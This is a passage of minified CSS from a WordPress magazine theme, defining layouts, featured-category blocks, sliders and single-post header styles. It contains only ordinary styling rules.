-21px}.home-featured-cat-content.style-3 .magcat-thumb .icon-post-format{left:20px;top:20px;margin:0}.home-featured-cat-content.style-4 .magcat-thumb .icon-post-format{left:auto;top:20px;right:20px;margin:0}.home-featured-cat-content .magcat-thumb .icon-post-format i.fa-play,.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-play,.widget ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-play{margin-left:2px}.home-featured-cat-content .magcat-thumb .icon-post-format i.fa-music,.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-music,.widget ul.side-newsfeed li.featured-news .side-item .side-image a.icon-post-format i.fa-music{margin-right:2px}.penci-magcat-carousel .magcat-thumb .mag-post-thumb{position:relative}.penci-magcat-carousel .magcat-thumb .mag-post-thumb i{position:absolute;z-index:2;text-align:center;display:inline-block;width:42px;height:42px;line-height:38px;background:0 0;top:50%;left:50%;margin:-21px 0 0 -21px;font-size:18px;opacity:1;border-radius:50%;-webkit-border-radius:50%;-moz-border-radius:50%;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;border:2px solid rgba(255,255,255,.9);background:rgba(0,0,0,.4);color:rgba(255,255,255,.9)}.penci-magcat-carousel .magcat-thumb .mag-post-thumb i.fa-play:before{margin-left:2px}.penci-magcat-carousel .magcat-thumb .mag-post-thumb i.fa-music:before{margin-right:2px}.home-featured-cat-content .magcat-thumb:hover .icon-post-format,.penci-magcat-carousel .magcat-thumb .mag-post-thumb:hover i,.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image:hover a.icon-post-format,.widget ul.side-newsfeed li .side-item .side-image:hover a.icon-post-format{opacity:0;transform:scale(.5);-webkit-transform:scale(.5);-moz-transform:scale(.5)}.home-featured-cat-content .mag-post-box .magcat-thumb img{width:120px;height:auto}.home-featured-cat-content .mag-post-box.first-post .magcat-thumb{margin:0 0 24px 0;float:none}.home-featured-cat-content .mag-post-box .magcat-thumb:hover{opacity:.8}.home-featured-cat-content .mag-post-box.first-post .magcat-thumb img{width:100%!important}.home-featured-cat-content .first-post .magcat-detail .mag-header{padding-bottom:17px;margin-bottom:19px;position:relative}.home-featured-cat-content .first-post .magcat-detail .mag-header:after{content:"";position:absolute;bottom:0;left:0;width:60px;height:1px;background:var(--pcaccent-cl);display:block}.home-featured-cat-content .magcat-detail h3 a{color:var(--pcheading-cl);display:inline-block;font-size:14px;transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;font-family:var(--pchead-font);font-weight:var(--pchead-wei);letter-spacing:0;line-height:1.4}.home-featured-cat-content .first-post .magcat-detail h3 a{font-size:18px}.home-featured-cat-content .magcat-detail h3 a:hover{color:var(--pcaccent-cl);text-decoration:none}.home-featured-cat-content .magcat-detail .mag-meta{margin-top:7px}.home-featured-cat-content .mag-photo{display:inline-block;width:50%;float:left;margin-bottom:10px;padding:0 5px;overflow:hidden}.penci-featured-cat-ctcol.pencisc-grid-1 .style-11 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-1 .style-3 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-2 .style-11 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-2 .style-3 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-3 .style-11 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-3 .style-3 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-4 .style-11 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-4 .style-3 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-5 .style-11 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-5 .style-3 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-6 .style-11 .mag-photo,.penci-featured-cat-ctcol.pencisc-grid-6 .style-3 .mag-photo{width:100%;margin:0;padding:0}.home-featured-cat-content.style-3>.mag-photo:nth-child(2n+3){clear:both}.home-featured-cat-content .mag-photo .magcat-thumb{position:relative;overflow:hidden}.home-featured-cat-content .mag-photo .magcat-detail{position:absolute;padding:20px;width:100%;z-index:5;left:0;bottom:0}.home-featured-cat-content .mag-photo .magcat-detail h3 a{color:#fff;font-size:18px}.home-featured-cat-content .mag-photo .mag-overlay-photo{position:absolute;background:#000;top:0;left:0;width:100%;height:100%;opacity:.15;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;z-index:2}.home-featured-cat-content .mag-photo:hover .mag-overlay-photo{opacity:.7}.home-featured-cat-content .mag-photo .grid-post-box-meta span,.home-featured-cat-content .mag-photo .grid-post-box-meta span a{color:#fff}.home-featured-cat-content .mag-photo .grid-post-box-meta span:after{color:#fff}.container .penci-grid li.magazine-layout{text-align:left}.container .penci-grid li.magazine-layout .grid-header-box:after{left:0;margin-left:0}.penci-featured-cat-custom-ads{margin-top:-40px;margin-bottom:60px;clear:both;display:block;overflow:hidden;width:100%;text-align:center}.home-featured-cat-content.style-6{margin-bottom:50px}.home-featured-cat-content.style-6 .cat-left,.home-featured-cat-content.style-6 .cat-right{width:100%;float:none;padding:0}.home-featured-cat-content.style-6 .cat-left{margin-bottom:30px}.home-featured-cat-content.style-6 .mag-post-box.first-post{display:inline-block;vertical-align:top;margin:0;width:100%;float:none}.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-thumb{margin:0;width:46.25%;float:left}.home-featured-cat-content.style-6 .mag-post-box.first-post .magcat-detail{padding-left:30px;width:53.75%;float:left}.home-featured-cat-content.style-6 .mag-post-box.first-post.full-mag-cat .magcat-detail{padding:0!important}.home-featured-cat-content.style-6 .cat-right .mag-post-box{float:left;width:48.5%;margin-right:3%;display:inline-block;border:none;padding-bottom:0;margin-bottom:30px}.home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-child(2n+2){margin-right:0}.home-featured-cat-content.style-6 .cat-right .mag-post-box:last-child{margin-bottom:0}.mag-single-slider .penci-image-holder:before{padding-top:66.6667%}section.home-featured-cat.mag-cat-style-4,section.home-featured-cat.mag-cat-style-5{display:block;clear:both}.elementor-widget-penci-featured-cat .home-featured-cat-wrapper{display:flex;flex-wrap:wrap}.elementor-widget-penci-featured-cat .home-featured-cat-content{order:1}.elementor-widget-penci-featured-cat .penci-featured-cat-seemore{order:2;width:100%}.penci-slider.penci-single-mag-slider .penci-control-nav{position:static;clear:both;margin-top:20px!important}.penci-slider.penci-single-mag-slider ul.slides li:after,.penci-slider.penci-single-mag-slider ul.slides li:before{content:none;display:none}.penci-single-mag-slider .magcat-thumb{position:relative}.penci-single-mag-slider .mag-single-slider-overlay{position:absolute;top:0;left:0;width:100%;height:100%;display:block;z-index:1;background:-moz-linear-gradient(to bottom,transparent 50%,rgba(0,0,0,1) 100%);background:-webkit-linear-gradient(to bottom,transparent 50%,rgba(0,0,0,1) 100%);background:-o-linear-gradient(to bottom,transparent 50%,rgba(0,0,0,1) 100%);background:-ms-linear-gradient(to bottom,transparent 50%,rgba(0,0,0,1) 100%);background:linear-gradient(to bottom,transparent 50%,rgba(0,0,0,1) 100%);transition:all .4s ease-in;-webkit-transition:all .4s ease-in;-moz-transition:all .4s ease-in;opacity:.7}.penci-single-mag-slider .magcat-thumb:hover .mag-single-slider-overlay{opacity:.85}.penci-single-mag-slider .magcat-detail{position:absolute;z-index:3;left:0;bottom:0;width:100%;padding:25px 30px}.penci-single-mag-slider .magcat-detail .magcat-titlte{font-size:24px;margin:0;line-height:1.3;opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:.5s;-moz-animation-delay:.5s;-o-animation-delay:.5s;animation-delay:.5s}.penci-single-mag-slider .magcat-detail .magcat-titlte a{font-size:inherit;color:#fff;line-height:inherit}.penci-single-mag-slider .magcat-detail .magcat-titlte a:hover{color:#fff}.home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta{margin-top:8px;opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:1s;-moz-animation-duration:1s;-ms-animation-duration:1s;-o-animation-duration:1s;animation-duration:1s;-webkit-animation-delay:.7s;-moz-animation-delay:.7s;-o-animation-delay:.7s;animation-delay:.7s}.penci-single-mag-slider .active .grid-post-box-meta,.penci-single-mag-slider .active .magcat-detail .magcat-titlte{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp}.penci-single-mag-slider .grid-post-box-meta span,.penci-single-mag-slider .grid-post-box-meta span a{color:#fff}body .penci-slider.penci-single-mag-slider ol.penci-control-nav li{margin:0 4px}.penci-magcat-carousel-wrapper{margin-left:-15px;margin-right:-15px}.home-featured-cat-content.style-12 .penci-magcat-carousel-wrapper{margin-left:-10px;margin-right:-10px}.penci-magcat-carousel .magcat-carousel{padding:0 15px;transition:opacity .25s ease-in;-webkit-transition:opacity .25s ease-in;-moz-transition:opacity .25s ease-in}.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-carousel{padding:0 10px}.penci-magcat-carousel .magcat-thumb .mag-post-thumb{transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s;margin:0 0 24px 0;float:none;display:inline-block;vertical-align:top;width:100%}.penci-magcat-carousel .magcat-thumb .mag-post-thumb:hover{opacity:.9}.home-featured-cat-content .penci-magcat-carousel .magcat-detail h3 a{font-size:18px}.home-featured-cat-content.style-7 .penci-grid>li{margin-bottom:26px}.home-featured-cat-content.style-7 .grid-header-box{text-align:left}.home-featured-cat-content.style-7 .grid-overlay-meta .grid-header-box,.magazine-layout.magazine-2 .grid-header-box{margin-left:0;padding-left:0}.home-featured-cat-content.style-7 .grid-header-box:after{margin:0;left:0}.home-featured-cat-content.style-7 .penci-grid li .item h2 a{text-transform:none;letter-spacing:0}.home-featured-cat-content.style-10 .mag-post-box,.home-featured-cat-content.style-9 .mag-post-box{width:48.0745%;float:left;margin-right:3.851%;border-bottom:none}.home-featured-cat-content.style-10 .mag-post-box:nth-child(2n+1),.home-featured-cat-content.style-9 .mag-post-box:nth-child(2n+1){clear:both}.home-featured-cat-content.style-10 .mag-post-box:nth-child(2n+2),.home-featured-cat-content.style-9 .mag-post-box:nth-child(2n+2){margin-right:0}.home-featured-cat-content.style-9 .mag-post-box.first-post{border-bottom:none;padding-bottom:0;margin-bottom:0}.home-featured-cat-content.style-10 .mag-post-box.first-post{margin-bottom:30px}@media only screen and (min-width:768px){.home-featured-cat-content.style-10 .mag-post-box:nth-last-child(2),.home-featured-cat-content.style-6 .cat-right .mag-post-box:nth-last-child(2),.home-featured-cat-content.style-9 .mag-post-box:nth-last-child(2){margin-bottom:0;padding:0;border-bottom:0}}.home-featured-cat-content.style-11 .mag-photo .magcat-detail{-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);bottom:auto;top:50%;text-align:center;padding:10px 20px}.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-thumb .mag-post-thumb{margin-bottom:18px}.home-featured-cat-content.style-12 .penci-magcat-carousel .magcat-detail h3 a{font-size:15px}.home-featured-cat-content.style-12 .magcat-detail .mag-meta{font-size:13px;margin-top:5px}@media only screen and (min-width:1170px){ul.penci-grid.penci-fea-cat-style-13{--pcrgap:20px;row-gap:20px}.container.penci_sidebar .penci-grid.penci-fea-cat-style-13>li,.penci-grid.penci-fea-cat-style-13>li{margin-bottom:0!important}}.penci-grid.penci-fea-cat-style-13>li.grid-style{text-align:left}.penci-grid.penci-fea-cat-style-13 li .item>.thumbnail{margin-bottom:18px}.penci-grid.penci-fea-cat-style-13 li .item h2 a{font-size:15px;text-transform:none;letter-spacing:0;line-height:1.4}.penci-fea-cat-style-13 .grid-post-box-meta{font-size:13px;margin-top:5px}.penci-fea-cat-style-13 .grid-header-box{padding-bottom:0}.penci-fea-cat-style-13 .grid-header-box:after{content:none}.home-featured-cat-content.style-14 .first-post .magcat-detail{position:absolute;bottom:0;left:0;width:100%;padding:0 17px;z-index:10}.home-featured-cat-content.style-14 .first-post .magcat-detail .mag-header:after{content:none}.home-featured-cat-content.style-14 .mag-post-box{margin-bottom:10px;padding-bottom:10px}.home-featured-cat-content.style-14 .mag-post-box:last-child{margin:0;padding:0}.home-featured-cat-content.style-14 .first-post .magcat-detail .mag-header{margin-bottom:14px;padding-bottom:0}.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a{font-size:16px}.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a,.home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover{color:#fff}.home-featured-cat-content.style-14 .mag-meta{color:#fff;font-size:13px;margin-top:5px}.home-featured-cat-content.style-14 .mag-meta span,.home-featured-cat-content.style-14 .mag-meta span a{color:inherit}.home-featured-cat-content .magcat-detail .magcat-title-small a{font-size:14px;font-weight:400}.home-featured-cat-content.style-14 .mag-post-box.first-post .magcat-thumb{margin-bottom:0}.home-featured-cat-content.style-14 .magcat-padding{padding-left:17px;position:relative}.home-featured-cat-content.style-14 .magcat-padding:before{content:"";width:4px;height:4px;border:1px solid var(--pcaccent-cl);position:absolute;left:0;top:6px}.home-featured-cat-content.style-14 .mag-post-box .magcat-thumb:hover{opacity:1}.home-featured-cat-content.style-14 .penci-image-holder:after,.home-featured-cat-content.style-15 .mag-post-box.first-post .penci-image-holder:after{bottom:0;content:"";display:block;height:90%;width:100%;position:absolute;z-index:1;background:-moz-linear-gradient(top,transparent 50%,#000 100%);background:-webkit-linear-gradient(top,transparent 50%,#000 100%);background:-o-linear-gradient(top,transparent 50%,#000 100%);background:-ms-linear-gradient(top,transparent 50%,#000 100%);background:linear-gradient(to bottom,transparent 50%,#000 100%);opacity:.5;transition:opacity .3s;-webkit-transition:opacity .3s;-moz-transition:opacity .3s}.home-featured-cat-content.style-14 .magcat-thumb:hover .penci-image-holder:after,.home-featured-cat-content.style-15 .mag-post-box.first-post:hover .penci-image-holder:after{opacity:.8}@media only screen and (min-width:768px){.home-featured-cat-content.style-15{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;align-items:center}.home-featured-cat.mag-cat-style-15 .cat-left,.home-featured-cat.mag-cat-style-15 .cat-right{-ms-flex:0 0 50%;flex:0 0 50%;float:none;display:block;width:auto}}.home-featured-cat-content.style-15{border:1px solid var(--pcborder-cl)}.home-featured-cat.mag-cat-style-15 .cat-left{padding:0;margin:-1px -1px 0 -1px;width:calc(100% + 2px)}@media only screen and (min-width:768px){.home-featured-cat.mag-cat-style-15 .cat-left{margin:-1px 0 0 -1px;width:calc(100% + 1px)}}.home-featured-cat.mag-cat-style-15 .cat-right{padding:20px}.home-featured-cat-content.style-15 .mag-post-box.first-post .magcat-thumb{margin:0}.home-featured-cat.mag-cat-style-15 .mag-post-box{position:relative}.home-featured-cat-content.style-15 .first-post .magcat-thumb:hover{opacity:1}.home-featured-cat-content.style-15 .first-post .magcat-detail .mag-header{padding:20px;margin:0;position:absolute;left:0;bottom:0;width:100%;z-index:5}.home-featured-cat-content.style-15 .first-post .magcat-detail .mag-header:after{content:none;display:none}.home-featured-cat-content.style-15 .first-post .grid-post-box-meta span,.home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a,.home-featured-cat-content.style-15 .first-post .magcat-detail h3 a{color:#fff}.home-featured-cat-content.style-15 .penci-image-holder.small-fix-size{width:100px}.penci-home-popular-posts{padding:25px 0 0;border:none;border-top:1px solid #dedede;position:relative;margin-bottom:60px}.penci-popular-posts-sc .penci-home-popular-posts:not(.use-heading-default),.penci-popular-posts-sc.hide-heading .penci-home-popular-posts{border-top:0;padding-top:0}.penci-home-popular-post,.swiper.penci-home-popular-post{margin-left:-10px;margin-right:-10px;width:100%;width:calc(100% + 20px)}.penci-home-popular-post .item-related h3 a{text-transform:uppercase}.home-pupular-posts-title{position:absolute;left:0;width:100%;top:0;transform:translateY(-55%);-webkit-transform:translateY(-55%);-moz-transform:translateY(-55%);text-align:center;font-size:18px;color:#313131;text-transform:uppercase}.home-pupular-posts-title a,.home-pupular-posts-title span{font-size:inherit;color:inherit;padding:0 18px;line-height:1;display:inline-block;background:#fff;text-decoration:none!important}.home-pupular-posts-title.pcalign-right{text-align:right}.home-pupular-posts-title.pcalign-left{text-align:left}.home-pupular-posts-title.pcalign-left a,.home-pupular-posts-title.pcalign-left span{padding-left:0}.home-pupular-posts-title.pcalign-right a,.home-pupular-posts-title.pcalign-right span{padding-right:0}article.portfolio,article.post,article.type-post{margin-bottom:60px}.penci-layout-classic-boxed-1 article.post,.penci-layout-classic-grid article.post,.penci-layout-classic-list article.post,.penci-layout-standard-boxed-1 article.post,.penci-layout-standard-grid article.post,.penci-layout-standard-list article.post{margin-bottom:60px}.single .post{margin-bottom:60px}.penci-jarallax{width:100%;padding-top:50%;position:relative;z-index:0}.penci-jarallax>.jarallax-img{position:absolute;object-fit:cover;top:0;left:0;width:100%;height:100%;z-index:-1}.post-image .mejs-container,.post-image .mejs-overlay.load,.post-image .wp-video,.post-image video.wp-video-shortcode{width:100%!important;height:100%!important}.post-image .mejs-container{padding-top:56.25%}.post-image .wp-video,.post-image video.wp-video-shortcode{max-width:100%!important}.post-image video.wp-video-shortcode{position:relative}.post-image .mejs-mediaelement{position:absolute;top:0;right:0;bottom:0;left:0}.post-image .mejs-controls{z-index:0!important}.post-image .mejs-overlay-play{top:0;right:0;bottom:0;left:0;width:auto!important;height:auto!important}.post-image .mejs-container.wp-audio-shortcode{padding-top:0!important}.container-single-fullwidth.two-sidebar .post-image{display:block;width:100%}.penci-single-style-3:not(.penci-single-pheader-noimg).penci_sidebar #main article.post,.penci-single-style-7:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{padding-left:10px;padding-right:10px}.penci-single-style-16:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{padding-left:40px;padding-right:40px;margin-left:40px}@media only screen and (min-width:961px){.penci-single-style-16:not(.penci-single-pheader-noimg).container.penci_sidebar #main,.penci-single-style-3:not(.penci-single-pheader-noimg).container.penci_sidebar #main,.penci-single-style-7:not(.penci-single-pheader-noimg).container.penci_sidebar #main{position:relative;z-index:10;padding-right:30px}.penci-single-style-16:not(.penci-single-pheader-noimg).container.penci_sidebar.two-sidebar #main,.penci-single-style-3:not(.penci-single-pheader-noimg).container.penci_sidebar.two-sidebar #main,.penci-single-style-7:not(.penci-single-pheader-noimg).container.penci_sidebar.two-sidebar #main{padding-right:50px}.penci-single-style-3:not(.penci-single-pheader-noimg) #main article.post,.penci-single-style-7:not(.penci-single-pheader-noimg) #main article.post{margin-top:-80px}.penci-single-style-16:not(.penci-single-pheader-noimg) #main article.post{margin-top:-220px}.penci-single-style-16.penci_is_nosidebar #main article.post,.penci-single-style-3.penci_is_nosidebar #main article.post,.penci-single-style-7.penci_is_nosidebar #main article.post{margin-top:0}.penci-single-style-16:not(.penci-single-pheader-noimg).container.penci_sidebar.left-sidebar #main,.penci-single-style-3:not(.penci-single-pheader-noimg).container.penci_sidebar.left-sidebar #main,.penci-single-style-7:not(.penci-single-pheader-noimg).container.penci_sidebar.left-sidebar #main{padding-left:40px;padding-right:0}.penci-single-style-3:not(.penci-single-pheader-noimg).penci_sidebar #main article.post,.penci-single-style-7:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{background:#fff;padding-top:20px}.penci-single-style-16:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{background:#fff;padding-top:40px}.penci-single-style-14:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{background:#fff;padding-top:40px;margin-top:-80px;position:relative;margin-left:40px;padding-left:40px}.penci-single-style-17:not(.penci-single-pheader-noimg).penci_sidebar #main article.post{padding-left:40px}.penci-single-style-16:not(.penci-single-pheader-noimg).right-sidebar #main article.post{padding-left:40px}.penci-single-style-7:not(.penci-single-pheader-noimg).right-sidebar #main article.post{padding-left:20px}.penci-single-style-3:not(.penci-single-pheader-noimg).right-sidebar #main article.post{padding-right:20px;padding-left:0}.penci-single-style-16:not(.penci-single-pheader-noimg).left-sidebar #main article.post,.penci-single-style-3:not(.penci-single-pheader-noimg).left-sidebar #main article.post,.penci-single-style-7:not(.penci-single-pheader-noimg).left-sidebar #main article.post{padding-left:20px}.penci-single-style-3:not(.penci_is_nosidebar) .standard-content-special,.penci-single-style-3:not(.penci_is_nosidebar) .standard-post-image .audio-iframe{bottom:70px}}@media only screen and (min-width:1200px){.penci-single-style-17 .penci-sidebar-right{border-left:1px solid var(--pcborder-cl);padding-left:30px}.penci-single-style-17 .penci-sidebar-left{border-right:1px solid var(--pcborder-cl);padding-right:30px}}.penci-single-4 .standard-post-special img{width:100%}.penci-body-single-style-10.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-10.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-11.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-11.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-12.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-12.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-13.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-13.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-15.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-15.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-16.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-16.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-18.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-18.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-20.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-20.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-21.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-21.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-5.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-5.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header,.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) #header,.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .pc-wrapbuilder-header{margin-bottom:0}.penci-body-single-style-10.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,.penci-body-single-style-16.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,.penci-body-single-style-20.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,.penci-body-single-style-4.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,.penci-body-single-style-5.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,.penci-body-single-style-7.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form,.penci-body-single-style-9.penci-body-title-bellow.penci-show-pthumb:not(.penci-port-product) .penci-header-signup-form{margin-top:10px;margin-bottom:10px}.penci-body-single-style-16.single-format-video .post-image iframe,.penci-body-single-style-4.single-format-video .post-image iframe,.penci-body-single-style-5.single-format-video .post-image iframe,.penci-body-single-style-7.single-format-video .post-image iframe,.penci-video-format-vimeo iframe,.penci-video-format-youtube iframe,.standard-post-image.video-post iframe{width:100%}.penci-video-format-youtube iframe,.standard-post-image.video-post iframe{aspect-ratio:16/9;height:auto}.standard-post-image.video-post .fluid-width-video-wrapper iframe{height:100%;aspect-ratio:unset}.penci-video-format-youtube .fluid-width-video-wrapper iframe{aspect-ratio:unset}.player .vp-player-layout{left:0!important;width:100%!important}.penci-single-featured-img{position:relative;width:100%;background-color:#f5f5f5;display:block;vertical-align:top;background-repeat:no-repeat;background-position:center center;background-size:cover;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;padding-top:66.6667%}.standard-post-special_wrapper{position:absolute;left:30px;right:30px;bottom:0;display:block;z-index:10}.penci-single-style-21 .post-image{position:relative}.penci-single-style-21 .post-image:after{position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(74,76,83,.79);z-index:1;content:'';background-image:url('data:image/svg+xml,<%3Fxml version="1.0" encoding="UTF-8"%3F><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="150" height="1" viewBox="0 0 151 1"><defs><clipPath id="clip-Custom_Size_1"><rect width="150" height="1" transform="translate(150 1801)"/></clipPath></defs><g id="Custom_Size_1" data-name="Custom Size – 1" transform="translate(0 -1801)" clip-path="url(%23clip-Custom_Size_1)"><rect width="1" height="5000" transform="translate(150 900.466)" fill="%23ffffff" opacity=".05"/></g></svg>')}.penci-single-style-21 .standard-post-special_wrapper{z-index:3}.penci-single-style-21 .standard-post-special_wrapper{top:50%;transform:translateY(-50%);bottom:auto}.penci-single-style-21 .header-standard.header-classic{margin-bottom:0}.penci-author-img-wrapper .author{display:flex;flex-wrap:wrap;align-items:center;column-gap:10px;justify-content:center;margin-top:20px}.penci-author-img-wrapper .author img{border-radius:50%;max-width:60px;height:auto}.penci-author-img-wrapper .author-name{color:#fff;font-size:16px}.standard-post-image .standard-post-special_wrapper .audio-iframe,.standard-post-special_wrapper .standard-content-special{position:static;margin-bottom:23px}.penci-body-single-style-11 .standard-post-image .standard-post-special_wrapper .audio-iframe,.penci-body-single-style-11 .standard-post-special_wrapper .standard-content-special,.penci-body-single-style-7 .standard-post-image .standard-post-special_wrapper .audio-iframe,.penci-body-single-style-7 .standard-post-special_wrapper .standard-content-special{margin-bottom:70px}.penci-body-single-style-12 .standard-post-image .standard-post-special_wrapper .audio-iframe{margin-left:-40px;margin-right:-40px}@media only screen and (min-width:961px){.penci-body-single-style-14 .standard-post-image .audio-iframe,.penci-body-single-style-14 .standard-post-special .standard-content-special{bottom:80px;left:40px}.penci-body-single-style-15 .standard-post-image .audio-iframe,.penci-body-single-style-15 .standard-post-special_wrapper .standard-content-special{max-width:calc(var(--pcctain) - 60px)}.penci-body-single-style-16 .standard-content-special,.penci-body-single-style-16 .standard-post-image .audio-iframe{bottom:220px;left:40px;right:40px}}.penci-body-single-style-7 .penci_is_nosidebar .standard-post-image .standard-post-special_wrapper .audio-iframe,.penci-body-single-style-7 .penci_is_nosidebar .standard-post-special_wrapper .standard-content-special{margin-bottom:30px}.penci-body-single-style-5 .container-single .post-image{position:relative}.penci-body-single-style-5 .penci-move-title-above:after,.penci-body-single-style-6 .penci-move-title-above:after,.penci-body-single-style-7 .penci-move-title-above:after,.penci-body-single-style-8 .penci-move-title-above:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:#000;z-index:1;bottom:0;right:0;background:linear-gradient(to bottom,transparent 50%,#000 90%);opacity:.7;transition:.3s}.penci-single-style-3 .single-breadcrumb,.penci-single-style-4 .single-breadcrumb,.penci-single-style-5 .single-breadcrumb,.penci-single-style-6 .single-breadcrumb,.penci-single-style-7 .single-breadcrumb,.penci-single-style-9 .single-breadcrumb{text-align:center}.penci-single-pheader .container.two-sidebar,.penci-single-pheader.container.two-sidebar,.penci-single-style-10.container-single-magazine .container.two-sidebar,.penci-single-style-13.container-single-magazine .container.two-sidebar,.penci-single-style-15.container-single-magazine .container.two-sidebar,.penci-single-style-20.container-single-magazine .container.two-sidebar,.penci-single-style-9.container-single-magazine .container.two-sidebar{display:block}.penci-single-style-10.container-single-magazine .two-sidebar .penci-sidebar-content,.penci-single-style-13.container-single-magazine .two-sidebar .penci-sidebar-content,.penci-single-style-15.container-single-magazine .two-sidebar .penci-sidebar-content,.penci-single-style-20.container-single-magazine .two-sidebar .penci-sidebar-content{width:29.06%}@media only screen and (min-width:1170px){.penci-body-single-style-11 .post-image:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:var(--pcbg-cl);z-index:1;bottom:0;right:0;background:linear-gradient(to bottom,transparent 20%,var(--pcbg-cl) 100%);transition:.3s}}@media only screen and (max-width:1169px){.penci-body-single-style-11 .container.penci-breadcrumb{margin-top:0}}.penci-body-single-style-18 .penci-post-content-wrapper{background:linear-gradient(to top,var(--pcaccent-cl) 0,rgba(255,255,255,.8) 100%);padding-top:120px}.penci-body-single-style-18 .penci-post-content-wrapper-inner{background:#fff;padding:40px 40px 10px 40px}.container.penci-single-style-18{background:#fff;padding:40px;overflow:hidden;box-shadow:0 15px 35px 0 rgba(175,181,204,.35)}.penci-body-single-style-18 .container-single-fullwidth .post-image{margin-bottom:0}.penci-body-single-style-19 .header-standard{border-bottom:1px solid var(--pcborder-cl);padding-bottom:30px;margin-bottom:35px}@media only screen and (min-width:768px){.container-single.penci-header-text-white .header-standard .post-title,.penci-header-text-white .cat>a.penci-cat-name,.penci-header-text-white .container.penci-breadcrumb a,.penci-header-text-white .container.penci-breadcrumb i,.penci-header-text-white .container.penci-breadcrumb span,.penci-header-text-white .header-standard .author-post span a,.penci-header-text-white .header-standard .post-title,.penci-header-text-white .header-standard 